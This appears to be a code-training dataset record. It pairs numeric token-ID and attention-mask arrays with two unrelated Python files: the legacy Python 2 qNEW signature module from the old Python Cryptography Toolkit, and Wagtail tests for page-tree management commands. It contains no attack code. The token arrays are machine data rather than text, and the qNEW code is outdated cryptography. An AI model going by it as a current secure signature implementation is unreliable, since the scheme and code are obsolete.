12, 1031, 14, 17240, 9, 819, 367, 1007, 63, 932, 315, 1031, 14, 10626, 26, 272, 31651, 5375, 1716, 8, 954, 63, 932, 12, 4363, 29, 3724, 11, 18, 9, 523, 870, 1543, 83, 26191, 83, 3524, 450, 661, 6438, 3724, 12, 1031, 14, 13777, 9, 421, 199, 318, 19005, 724, 4131, 8, 932, 304, 523, 408, 3407, 282, 769, 402, 1006, 314, 1031, 436, 1007, 3380, 1041, 523, 1031, 63, 513, 275, 942, 819, 340, 334, 932, 14, 2987, 436, 489, 1031, 14, 12956, 360, 985, 358, 508, 2513, 12144, 63, 1725, 735, 489, 327, 2136, 2793, 1133, 1050, 314, 2668, 12144, 63, 1725, 2, 2457, 14, 272, 372, 942, 819, 367, 1453, 315, 1031, 14, 10626, 26, 272, 340, 1453, 14, 13777, 508, 283, 4131, 356, 489, 1031, 63, 513, 14, 2880, 8, 29302, 4131, 8, 1818, 430, 272, 587, 26, 489, 1031, 63, 513, 14, 740, 8, 1818, 9, 819, 372, 1031, 63, 513, 421, 199, 318, 14811, 1173, 1247, 8, 10309, 12, 1453, 63, 3619, 304, 523, 892, 63, 513, 275, 942, 523, 367, 1788, 315, 6203, 26, 272, 340, 1788, 26, 489, 367, 790, 315, 5363, 2749, 22194, 51, 26, 267, 1788, 275, 1788, 14, 1814, 8, 498, 12, 5363, 2749, 22194, 51, 59, 498, 566, 489, 747, 14, 8563, 8, 1818, 63, 3619, 9, 489, 1788, 275, 1788, 14, 1913, 360, 3212, 7, 5320, 489, 340, 1788, 14, 2460, 14676, 735, 267, 892, 63, 513, 14, 740, 8, 1501, 9, 489, 587, 26, 267, 892, 63, 513, 14, 740, 8, 736, 14, 515, 14, 4832, 8, 1501, 430, 523, 372, 892, 63, 513, 421, 199, 318, 24964, 1716, 8, 932, 304, 523, 408, 27142, 1006, 314, 4382, 781, 5715, 3595, 315, 642, 1031, 3679, 1041, 523, 340, 1031, 14, 2987, 26, 272, 367, 334, 354, 12, 574, 9, 315, 1031, 14, 2987, 14, 1744, 837, 489, 340, 536, 315, 788, 607, 8829, 3697, 16715, 83, 297, 283, 22854, 297, 2116, 283, 25336, 297, 2116, 283, 2620, 5050, 6231, 297, 283, 2959, 6231, 297, 2116, 283, 8824, 31636, 2565, 267, 327, 2136, 2934, 370, 5325, 1536, 3520, 3792, 267, 931, 63, 513, 275, 574, 14, 1294, 26468, 267, 892, 63, 513, 275, 14811, 1173, 1247, 8, 515, 63, 513, 12, 747, 14, 515, 14, 3475, 8, 24165, 51, 59, 17, 2459, 267, 1031, 14, 17618, 8, 354, 12, 30955, 904, 8, 1222, 63, 513, 430, 489, 340, 440, 574, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
salomon1184/bite-project
deps/gdata-python-client/src/gdata/Crypto/PublicKey/qNEW.py
228
5545
# # qNEW.py : The q-NEW signature algorithm. # # Part of the Python Cryptography Toolkit # # Distribute and use freely; there are no restrictions on further # dissemination and usage except those imposed by the laws of your # country of residence. This software is provided "as is" without # warranty of fitness for use or suitability for any purpose, express # or implied. Use at your own risk or not at all. # __revision__ = "$Id: qNEW.py,v 1.8 2003/04/04 15:13:35 akuchling Exp $" from Crypto.PublicKey import pubkey from Crypto.Util.number import * from Crypto.Hash import SHA class error (Exception): pass HASHBITS = 160 # Size of SHA digests def generate(bits, randfunc, progress_func=None): """generate(bits:int, randfunc:callable, progress_func:callable) Generate a qNEW key of length 'bits', using 'randfunc' to get random data and 'progress_func', if present, to display the progress of the key generation. """ obj=qNEWobj() # Generate prime numbers p and q. q is a 160-bit prime # number. p is another prime number (the modulus) whose bit # size is chosen by the caller, and is generated so that p-1 # is a multiple of q. # # Note that only a single seed is used to # generate p and q; if someone generates a key for you, you can # use the seed to duplicate the key generation. This can # protect you from someone generating values of p,q that have # some special form that's easy to break. if progress_func: progress_func('p,q\n') while (1): obj.q = getPrime(160, randfunc) # assert pow(2, 159L)<obj.q<pow(2, 160L) obj.seed = S = long_to_bytes(obj.q) C, N, V = 0, 2, {} # Compute b and n such that bits-1 = b + n*HASHBITS n= (bits-1) / HASHBITS b= (bits-1) % HASHBITS ; powb=2L << b powL1=pow(long(2), bits-1) while C<4096: # The V array will contain (bits-1) bits of random # data, that are assembled to produce a candidate # value for p. for k in range(0, n+1): V[k]=bytes_to_long(SHA.new(S+str(N)+str(k)).digest()) p = V[n] % powb for k in range(n-1, -1, -1): p= (p << long(HASHBITS) )+V[k] p = p+powL1 # Ensure the high bit is set # Ensure that p-1 is a multiple of q p = p - (p % (2*obj.q)-1) # If p is still the right size, and it's prime, we're done! if powL1<=p and isPrime(p): break # Otherwise, increment the counter and try again C, N = C+1, N+n+1 if C<4096: break # Ended early, so exit the while loop if progress_func: progress_func('4096 values of p tried\n') obj.p = p power=(p-1)/obj.q # Next parameter: g = h**((p-1)/q) mod p, such that h is any # number <p-1, and g>1. g is kept; h can be discarded. if progress_func: progress_func('h,g\n') while (1): h=bytes_to_long(randfunc(bits)) % (p-1) g=pow(h, power, p) if 1<h<p-1 and g>1: break obj.g=g # x is the private key information, and is # just a random number between 0 and q. # y=g**x mod p, and is part of the public information. if progress_func: progress_func('x,y\n') while (1): x=bytes_to_long(randfunc(20)) if 0 < x < obj.q: break obj.x, obj.y=x, pow(g, x, p) return obj # Construct a qNEW object def construct(tuple): """construct(tuple:(long,long,long,long)|(long,long,long,long,long) Construct a qNEW object from a 4- or 5-tuple of numbers. """ obj=qNEWobj() if len(tuple) not in [4,5]: raise error, 'argument for construct() wrong length' for i in range(len(tuple)): field = obj.keydata[i] setattr(obj, field, tuple[i]) return obj class qNEWobj(pubkey.pubkey): keydata=['p', 'q', 'g', 'y', 'x'] def _sign(self, M, K=''): if (self.q<=K): raise error, 'K is greater than q' if M<0: raise error, 'Illegal value of M (<0)' if M>=pow(2,161L): raise error, 'Illegal value of M (too large)' r=pow(self.g, K, self.p) % self.q s=(K- (r*M*self.x % self.q)) % self.q return (r,s) def _verify(self, M, sig): r, s = sig if r<=0 or r>=self.q or s<=0 or s>=self.q: return 0 if M<0: raise error, 'Illegal value of M (<0)' if M<=0 or M>=pow(2,161L): return 0 v1 = pow(self.g, s, self.p) v2 = pow(self.y, M*r, self.p) v = ((v1*v2) % self.p) v = v % self.q if v==r: return 1 return 0 def size(self): "Return the maximum number of bits that can be handled by this key." return 160 def has_private(self): """Return a Boolean denoting whether the object contains private components.""" return hasattr(self, 'x') def can_sign(self): """Return a Boolean value recording whether this algorithm can generate signatures.""" return 1 def can_encrypt(self): """Return a Boolean value recording whether this algorithm can encrypt data.""" return 0 def publickey(self): """Return a new key object containing only the public information.""" return construct((self.p, self.q, self.g, self.y)) object = qNEWobj
apache-2.0
[ 3, 199, 3, 257, 1894, 11365, 14, 647, 520, 710, 1894, 13, 11365, 4955, 5563, 14, 199, 3, 199, 3, 221, 14320, 402, 314, 2018, 18855, 9773, 15650, 6065, 199, 3, 199, 3, 577, 5414, 266, 436, 675, 20673, 7742, 27, 2337, 787, 949, 24488, 641, 9848, 199, 3, 2153, 261, 827, 425, 436, 4503, 871, 5204, 1742, 79, 939, 701, 314, 1127, 3569, 402, 2195, 199, 3, 9023, 402, 28633, 5606, 14, 259, 961, 2032, 365, 2741, 298, 305, 365, 2, 1928, 199, 3, 3750, 402, 5542, 4171, 367, 675, 503, 308, 4993, 3616, 367, 1263, 12016, 12, 4056, 199, 3, 503, 2478, 14, 3645, 737, 2195, 5705, 22633, 503, 440, 737, 1006, 14, 199, 3, 199, 199, 363, 5792, 363, 275, 7880, 1304, 26, 1894, 11365, 14, 647, 12, 86, 413, 14, 24, 13004, 15, 966, 15, 966, 4114, 26, 969, 26, 1276, 282, 75, 2133, 2983, 7910, 2672, 2, 199, 199, 504, 18855, 14, 26238, 492, 25887, 199, 504, 18855, 14, 9562, 14, 1955, 492, 627, 199, 504, 18855, 14, 3476, 492, 12002, 199, 199, 533, 1125, 334, 1726, 304, 272, 986, 199, 199, 14395, 14662, 275, 21235, 257, 327, 14579, 402, 12002, 10017, 83, 199, 199, 318, 3550, 8, 5609, 12, 10261, 1532, 12, 6696, 63, 1532, 29, 403, 304, 272, 408, 4208, 8, 5609, 26, 442, 12, 10261, 1532, 26, 8296, 12, 6696, 63, 1532, 26, 8296, 9, 339, 7958, 282, 1894, 11365, 790, 402, 2582, 283, 5609, 297, 1808, 283, 3759, 1532, 7, 370, 664, 272, 2196, 666, 436, 283, 5734, 63, 1532, 297, 340, 3451, 12, 370, 2929, 272, 314, 6696, 402, 314, 790, 10152, 14, 272, 408, 272, 1559, 29, 81, 11365, 1113, 342, 339, 327, 7958, 21619, 5579, 299, 436, 1894, 14, 221, 1894, 365, 282, 21235, 13, 2075, 21619, 272, 327, 1329, 14, 221, 299, 365, 4573, 21619, 1329, 334, 1589, 3413, 15909, 9, 7447, 4546, 272, 327, 1568, 365, 12414, 701, 314, 8025, 12, 436, 365, 4046, 880, 626, 299, 13, 17, 272, 327, 365, 282, 3663, 402, 1894, 14, 272, 327, 272, 327, 3390, 626, 1454, 282, 2849, 6347, 365, 1202, 370, 272, 327, 3550, 299, 436, 1894, 27, 340, 17122, 12821, 282, 790, 367, 1265, 12, 1265, 883, 272, 327, 675, 314, 6347, 370, 9250, 314, 790, 10152, 14, 221, 961, 883, 272, 327, 25863, 1265, 687, 17122, 12999, 1338, 402, 299, 12, 81, 626, 1172, 272, 327, 2005, 4539, 1824, 626, 1159, 8837, 370, 2059, 14, 272, 340, 6696, 63, 1532, 26, 267, 6696, 63, 1532, 360, 80, 12, 81, 60, 78, 358, 272, 1830, 334, 17, 304, 267, 1559, 14, 81, 275, 664, 4562, 278, 8, 8488, 12, 10261, 1532, 9, 267, 327, 3698, 702, 13131, 8, 18, 12, 413, 1427, 44, 21528, 1113, 14, 81, 28, 8278, 8, 18, 12, 21235, 44, 9, 267, 1559, 14, 5176, 275, 428, 275, 1846, 63, 475, 63, 2394, 8, 1113, 14, 81, 9, 267, 445, 12, 653, 12, 812, 275, 378, 12, 499, 12, 1052, 267, 327, 8354, 330, 436, 302, 4066, 626, 5821, 13, 17, 275, 330, 435, 302, 10, 14395, 14662, 267, 302, 29, 334, 5609, 13, 17, 9, 1182, 7509, 40, 14662, 267, 330, 29, 334, 5609, 13, 17, 9, 450, 7509, 40, 14662, 8700, 13131, 66, 29, 18, 44, 5213, 330, 267, 13131, 44, 17, 29, 8278, 8, 2809, 8, 18, 395, 5821, 13, 17, 9, 267, 1830, 445, 28, 20579, 26, 288, 327, 710, 812, 1625, 911, 1395, 334, 5609, 13, 17, 9, 5821, 402, 2196, 288, 327, 666, 12, 626, 787, 22931, 68, 370, 7389, 282, 7627, 288, 327, 574, 367, 299, 14, 288, 367, 1022, 315, 1425, 8, 16, 12, 302, 11, 17, 304, 355, 812, 59, 75, 10404, 2394, 63, 475, 63, 2809, 8, 8461, 14, 1222, 8, 51, 11, 495, 8, 46, 6393, 495, 8, 75, 4992, 5671, 1012, 288, 299, 275, 812, 59, 78, 61, 450, 13131, 66, 288, 367, 1022, 315, 1425, 8, 78, 13, 17, 12, 446, 17, 12, 446, 17, 304, 355, 299, 29, 334, 80, 5213, 1846, 8, 14395, 14662, 9, 776, 11, 54, 59, 75, 61, 288, 299, 275, 299, 11, 8278, 44, 17, 260, 327, 7523, 314, 4721, 4546, 365, 663, 953, 327, 7523, 626, 299, 13, 17, 365, 282, 3663, 402, 1894, 288, 299, 275, 299, 446, 334, 80, 450, 334, 18, 10, 1113, 14, 81, 7216, 17, 9, 953, 327, 982, 299, 365, 5139, 314, 2451, 1568, 12, 436, 652, 1159, 21619, 12, 781, 3984, 4224, 1, 288, 340, 13131, 44, 17, 12932, 80, 436, 365, 4562, 278, 8, 80, 304, 355, 2059, 953, 327, 6630, 12, 11609, 314, 7055, 436, 862, 4020, 288, 445, 12, 653, 275, 445, 11, 17, 12, 653, 11, 78, 11, 17, 267, 340, 445, 28, 20579, 26, 288, 2059, 257, 327, 3447, 770, 14670, 12, 880, 4458, 314, 1830, 4438, 267, 340, 6696, 63, 1532, 26, 288, 6696, 63, 1532, 360, 20579, 1338, 402, 299, 16416, 60, 78, 358, 339, 1559, 14, 80, 275, 299, 272, 7074, 2687, 80, 13, 17, 2447, 1113, 14, 81, 339, 327, 16840, 2725, 26, 486, 275, 394, 538, 1332, 80, 13, 17, 2447, 81, 9, 3413, 299, 12, 4066, 626, 394, 365, 1263, 272, 327, 1329, 665, 80, 13, 17, 12, 436, 486, 30, 17, 14, 221, 486, 365, 16204, 27, 394, 883, 506, 22002, 14, 272, 340, 6696, 63, 1532, 26, 267, 6696, 63, 1532, 360, 72, 12, 71, 60, 78, 358, 272, 1830, 334, 17, 304, 267, 394, 29, 2394, 63, 475, 63, 2809, 8, 3759, 1532, 8, 5609, 430, 450, 334, 80, 13, 17, 9, 267, 486, 29, 8278, 8, 72, 12, 7074, 12, 299, 9, 267, 340, 413, 28, 72, 28, 80, 13, 17, 436, 486, 30, 17, 26, 288, 2059, 272, 1559, 14, 71, 29, 71, 339, 327, 671, 365, 314, 5726, 790, 2556, 12, 436, 365, 272, 327, 2951, 282, 2196, 1329, 3382, 378, 436, 1894, 14, 272, 327, 612, 29, 71, 538, 88, 3413, 299, 12, 436, 365, 1777, 402, 314, 4575, 2556, 14, 272, 340, 6696, 63, 1532, 26, 267, 6696, 63, 1532, 360, 88, 12, 89, 60, 78, 358, 272, 1830, 334 ]
[ 199, 3, 257, 1894, 11365, 14, 647, 520, 710, 1894, 13, 11365, 4955, 5563, 14, 199, 3, 199, 3, 221, 14320, 402, 314, 2018, 18855, 9773, 15650, 6065, 199, 3, 199, 3, 577, 5414, 266, 436, 675, 20673, 7742, 27, 2337, 787, 949, 24488, 641, 9848, 199, 3, 2153, 261, 827, 425, 436, 4503, 871, 5204, 1742, 79, 939, 701, 314, 1127, 3569, 402, 2195, 199, 3, 9023, 402, 28633, 5606, 14, 259, 961, 2032, 365, 2741, 298, 305, 365, 2, 1928, 199, 3, 3750, 402, 5542, 4171, 367, 675, 503, 308, 4993, 3616, 367, 1263, 12016, 12, 4056, 199, 3, 503, 2478, 14, 3645, 737, 2195, 5705, 22633, 503, 440, 737, 1006, 14, 199, 3, 199, 199, 363, 5792, 363, 275, 7880, 1304, 26, 1894, 11365, 14, 647, 12, 86, 413, 14, 24, 13004, 15, 966, 15, 966, 4114, 26, 969, 26, 1276, 282, 75, 2133, 2983, 7910, 2672, 2, 199, 199, 504, 18855, 14, 26238, 492, 25887, 199, 504, 18855, 14, 9562, 14, 1955, 492, 627, 199, 504, 18855, 14, 3476, 492, 12002, 199, 199, 533, 1125, 334, 1726, 304, 272, 986, 199, 199, 14395, 14662, 275, 21235, 257, 327, 14579, 402, 12002, 10017, 83, 199, 199, 318, 3550, 8, 5609, 12, 10261, 1532, 12, 6696, 63, 1532, 29, 403, 304, 272, 408, 4208, 8, 5609, 26, 442, 12, 10261, 1532, 26, 8296, 12, 6696, 63, 1532, 26, 8296, 9, 339, 7958, 282, 1894, 11365, 790, 402, 2582, 283, 5609, 297, 1808, 283, 3759, 1532, 7, 370, 664, 272, 2196, 666, 436, 283, 5734, 63, 1532, 297, 340, 3451, 12, 370, 2929, 272, 314, 6696, 402, 314, 790, 10152, 14, 272, 408, 272, 1559, 29, 81, 11365, 1113, 342, 339, 327, 7958, 21619, 5579, 299, 436, 1894, 14, 221, 1894, 365, 282, 21235, 13, 2075, 21619, 272, 327, 1329, 14, 221, 299, 365, 4573, 21619, 1329, 334, 1589, 3413, 15909, 9, 7447, 4546, 272, 327, 1568, 365, 12414, 701, 314, 8025, 12, 436, 365, 4046, 880, 626, 299, 13, 17, 272, 327, 365, 282, 3663, 402, 1894, 14, 272, 327, 272, 327, 3390, 626, 1454, 282, 2849, 6347, 365, 1202, 370, 272, 327, 3550, 299, 436, 1894, 27, 340, 17122, 12821, 282, 790, 367, 1265, 12, 1265, 883, 272, 327, 675, 314, 6347, 370, 9250, 314, 790, 10152, 14, 221, 961, 883, 272, 327, 25863, 1265, 687, 17122, 12999, 1338, 402, 299, 12, 81, 626, 1172, 272, 327, 2005, 4539, 1824, 626, 1159, 8837, 370, 2059, 14, 272, 340, 6696, 63, 1532, 26, 267, 6696, 63, 1532, 360, 80, 12, 81, 60, 78, 358, 272, 1830, 334, 17, 304, 267, 1559, 14, 81, 275, 664, 4562, 278, 8, 8488, 12, 10261, 1532, 9, 267, 327, 3698, 702, 13131, 8, 18, 12, 413, 1427, 44, 21528, 1113, 14, 81, 28, 8278, 8, 18, 12, 21235, 44, 9, 267, 1559, 14, 5176, 275, 428, 275, 1846, 63, 475, 63, 2394, 8, 1113, 14, 81, 9, 267, 445, 12, 653, 12, 812, 275, 378, 12, 499, 12, 1052, 267, 327, 8354, 330, 436, 302, 4066, 626, 5821, 13, 17, 275, 330, 435, 302, 10, 14395, 14662, 267, 302, 29, 334, 5609, 13, 17, 9, 1182, 7509, 40, 14662, 267, 330, 29, 334, 5609, 13, 17, 9, 450, 7509, 40, 14662, 8700, 13131, 66, 29, 18, 44, 5213, 330, 267, 13131, 44, 17, 29, 8278, 8, 2809, 8, 18, 395, 5821, 13, 17, 9, 267, 1830, 445, 28, 20579, 26, 288, 327, 710, 812, 1625, 911, 1395, 334, 5609, 13, 17, 9, 5821, 402, 2196, 288, 327, 666, 12, 626, 787, 22931, 68, 370, 7389, 282, 7627, 288, 327, 574, 367, 299, 14, 288, 367, 1022, 315, 1425, 8, 16, 12, 302, 11, 17, 304, 355, 812, 59, 75, 10404, 2394, 63, 475, 63, 2809, 8, 8461, 14, 1222, 8, 51, 11, 495, 8, 46, 6393, 495, 8, 75, 4992, 5671, 1012, 288, 299, 275, 812, 59, 78, 61, 450, 13131, 66, 288, 367, 1022, 315, 1425, 8, 78, 13, 17, 12, 446, 17, 12, 446, 17, 304, 355, 299, 29, 334, 80, 5213, 1846, 8, 14395, 14662, 9, 776, 11, 54, 59, 75, 61, 288, 299, 275, 299, 11, 8278, 44, 17, 260, 327, 7523, 314, 4721, 4546, 365, 663, 953, 327, 7523, 626, 299, 13, 17, 365, 282, 3663, 402, 1894, 288, 299, 275, 299, 446, 334, 80, 450, 334, 18, 10, 1113, 14, 81, 7216, 17, 9, 953, 327, 982, 299, 365, 5139, 314, 2451, 1568, 12, 436, 652, 1159, 21619, 12, 781, 3984, 4224, 1, 288, 340, 13131, 44, 17, 12932, 80, 436, 365, 4562, 278, 8, 80, 304, 355, 2059, 953, 327, 6630, 12, 11609, 314, 7055, 436, 862, 4020, 288, 445, 12, 653, 275, 445, 11, 17, 12, 653, 11, 78, 11, 17, 267, 340, 445, 28, 20579, 26, 288, 2059, 257, 327, 3447, 770, 14670, 12, 880, 4458, 314, 1830, 4438, 267, 340, 6696, 63, 1532, 26, 288, 6696, 63, 1532, 360, 20579, 1338, 402, 299, 16416, 60, 78, 358, 339, 1559, 14, 80, 275, 299, 272, 7074, 2687, 80, 13, 17, 2447, 1113, 14, 81, 339, 327, 16840, 2725, 26, 486, 275, 394, 538, 1332, 80, 13, 17, 2447, 81, 9, 3413, 299, 12, 4066, 626, 394, 365, 1263, 272, 327, 1329, 665, 80, 13, 17, 12, 436, 486, 30, 17, 14, 221, 486, 365, 16204, 27, 394, 883, 506, 22002, 14, 272, 340, 6696, 63, 1532, 26, 267, 6696, 63, 1532, 360, 72, 12, 71, 60, 78, 358, 272, 1830, 334, 17, 304, 267, 394, 29, 2394, 63, 475, 63, 2809, 8, 3759, 1532, 8, 5609, 430, 450, 334, 80, 13, 17, 9, 267, 486, 29, 8278, 8, 72, 12, 7074, 12, 299, 9, 267, 340, 413, 28, 72, 28, 80, 13, 17, 436, 486, 30, 17, 26, 288, 2059, 272, 1559, 14, 71, 29, 71, 339, 327, 671, 365, 314, 5726, 790, 2556, 12, 436, 365, 272, 327, 2951, 282, 2196, 1329, 3382, 378, 436, 1894, 14, 272, 327, 612, 29, 71, 538, 88, 3413, 299, 12, 436, 365, 1777, 402, 314, 4575, 2556, 14, 272, 340, 6696, 63, 1532, 26, 267, 6696, 63, 1532, 360, 88, 12, 89, 60, 78, 358, 272, 1830, 334, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jordij/wagtail
wagtail/wagtailcore/tests/test_management_commands.py
8
11327
from datetime import timedelta from django.test import TestCase from django.core import management from django.utils import timezone from django.utils.six import StringIO from django.db import models from wagtail.wagtailcore.models import Page, PageRevision from wagtail.wagtailcore.signals import page_published, page_unpublished from wagtail.tests.testapp.models import SimplePage, EventPage class TestFixTreeCommand(TestCase): fixtures = ['test.json'] def badly_delete_page(self, page): # Deletes a page the wrong way. # This will not update numchild and may leave orphans models.Model.delete(page) def run_command(self, **options): options.setdefault('interactive', False) output = StringIO() management.call_command('fixtree', stdout=output, **options) output.seek(0) return output def test_fixes_numchild(self): # Get homepage and save old value homepage = Page.objects.get(url_path='/home/') old_numchild = homepage.numchild # Break it homepage.numchild = 12345 homepage.save() # Check that its broken self.assertEqual(Page.objects.get(url_path='/home/').numchild, 12345) # Call command self.run_command() # Check if its fixed self.assertEqual(Page.objects.get(url_path='/home/').numchild, old_numchild) def test_fixes_depth(self): # Get homepage and save old value homepage = Page.objects.get(url_path='/home/') old_depth = homepage.depth # Break it homepage.depth = 12345 homepage.save() # Check that its broken self.assertEqual(Page.objects.get(url_path='/home/').depth, 12345) # Call command self.run_command() # Check if its fixed self.assertEqual(Page.objects.get(url_path='/home/').depth, old_depth) def test_detects_orphans(self): events_index = Page.objects.get(url_path='/home/events/') christmas_page = EventPage.objects.get(url_path='/home/events/christmas/') # Delete the events index badly self.badly_delete_page(events_index) # Check that christmas_page is still in the tree self.assertTrue(Page.objects.filter(id=christmas_page.id).exists()) # Call command output = self.run_command() # Check that the issues were detected output_string = output.read() self.assertIn("Incorrect numchild value found for pages: [2]", output_string) self.assertIn("Orphaned pages found: [4, 5, 6, 9]", output_string) # Check that christmas_page is still in the tree self.assertTrue(Page.objects.filter(id=christmas_page.id).exists()) def test_deletes_orphans(self): events_index = Page.objects.get(url_path='/home/events/') christmas_page = EventPage.objects.get(url_path='/home/events/christmas/') # Delete the events index badly self.badly_delete_page(events_index) # Check that christmas_page is still in the tree self.assertTrue(Page.objects.filter(id=christmas_page.id).exists()) # Call command # delete_orphans simulates a user pressing "y" at the prompt output = self.run_command(delete_orphans=True) # Check that the issues were detected output_string = output.read() self.assertIn("Incorrect numchild value found for pages: [2]", output_string) self.assertIn("4 orphaned pages deleted.", output_string) # Check that christmas_page has been deleted self.assertFalse(Page.objects.filter(id=christmas_page.id).exists()) class TestMovePagesCommand(TestCase): fixtures = ['test.json'] def run_command(self, from_, to): management.call_command('move_pages', str(from_), str(to), interactive=False, stdout=StringIO()) def test_move_pages(self): # Get pages events_index = Page.objects.get(url_path='/home/events/') about_us = Page.objects.get(url_path='/home/about-us/') page_ids = events_index.get_children().values_list('id', flat=True) # Move all events into "about us" self.run_command(events_index.id, about_us.id) # Check that all pages moved for page_id in page_ids: self.assertEqual(Page.objects.get(id=page_id).get_parent(), about_us) class TestReplaceTextCommand(TestCase): fixtures = ['test.json'] def run_command(self, from_text, to_text): management.call_command('replace_text', from_text, to_text, interactive=False, stdout=StringIO()) def test_replace_text(self): # Check that the christmas page is definitely about christmas christmas_page = EventPage.objects.get(url_path='/home/events/christmas/') self.assertEqual(christmas_page.title, "Christmas") self.assertEqual(christmas_page.speakers.first().last_name, "Christmas") self.assertEqual(christmas_page.advert_placements.first().colour, "greener than a Christmas tree") # Make it about easter self.run_command("Christmas", "Easter") # Check that it's now about easter easter_page = EventPage.objects.get(url_path='/home/events/christmas/') self.assertEqual(easter_page.title, "Easter") # Check that we also update the child objects (including advert_placements, which is defined on the superclass) self.assertEqual(easter_page.speakers.first().last_name, "Easter") self.assertEqual(easter_page.advert_placements.first().colour, "greener than a Easter tree") class TestPublishScheduledPagesCommand(TestCase): def setUp(self): # Find root page self.root_page = Page.objects.get(id=2) def test_go_live_page_will_be_published(self): # Connect a mock signal handler to page_published signal signal_fired = [False] signal_page = [None] def page_published_handler(sender, instance, **kwargs): signal_fired[0] = True signal_page[0] = instance page_published.connect(page_published_handler) page = SimplePage( title="Hello world!", slug="hello-world", live=False, has_unpublished_changes=True, go_live_at=timezone.now() - timedelta(days=1), ) self.root_page.add_child(instance=page) page.save_revision(approved_go_live_at=timezone.now() - timedelta(days=1)) p = Page.objects.get(slug='hello-world') self.assertFalse(p.live) self.assertTrue(PageRevision.objects.filter(page=p).exclude(approved_go_live_at__isnull=True).exists()) management.call_command('publish_scheduled_pages') p = Page.objects.get(slug='hello-world') self.assertTrue(p.live) self.assertTrue(p.first_published_at) self.assertFalse(p.has_unpublished_changes) self.assertFalse(PageRevision.objects.filter(page=p).exclude(approved_go_live_at__isnull=True).exists()) # Check that the page_published signal was fired self.assertTrue(signal_fired[0]) self.assertEqual(signal_page[0], page) self.assertEqual(signal_page[0], signal_page[0].specific) def test_go_live_when_newer_revision_exists(self): page = SimplePage( title="Hello world!", slug="hello-world", live=False, has_unpublished_changes=True, go_live_at=timezone.now() - timedelta(days=1), ) self.root_page.add_child(instance=page) page.save_revision(approved_go_live_at=timezone.now() - timedelta(days=1)) page.title = "Goodbye world!" page.save_revision(submitted_for_moderation=False) management.call_command('publish_scheduled_pages') p = Page.objects.get(slug='hello-world') self.assertTrue(p.live) self.assertTrue(p.has_unpublished_changes) self.assertEqual(p.title, "Hello world!") def test_future_go_live_page_will_not_be_published(self): page = SimplePage( title="Hello world!", slug="hello-world", live=False, go_live_at=timezone.now() + timedelta(days=1), ) self.root_page.add_child(instance=page) page.save_revision(approved_go_live_at=timezone.now() - timedelta(days=1)) p = Page.objects.get(slug='hello-world') self.assertFalse(p.live) 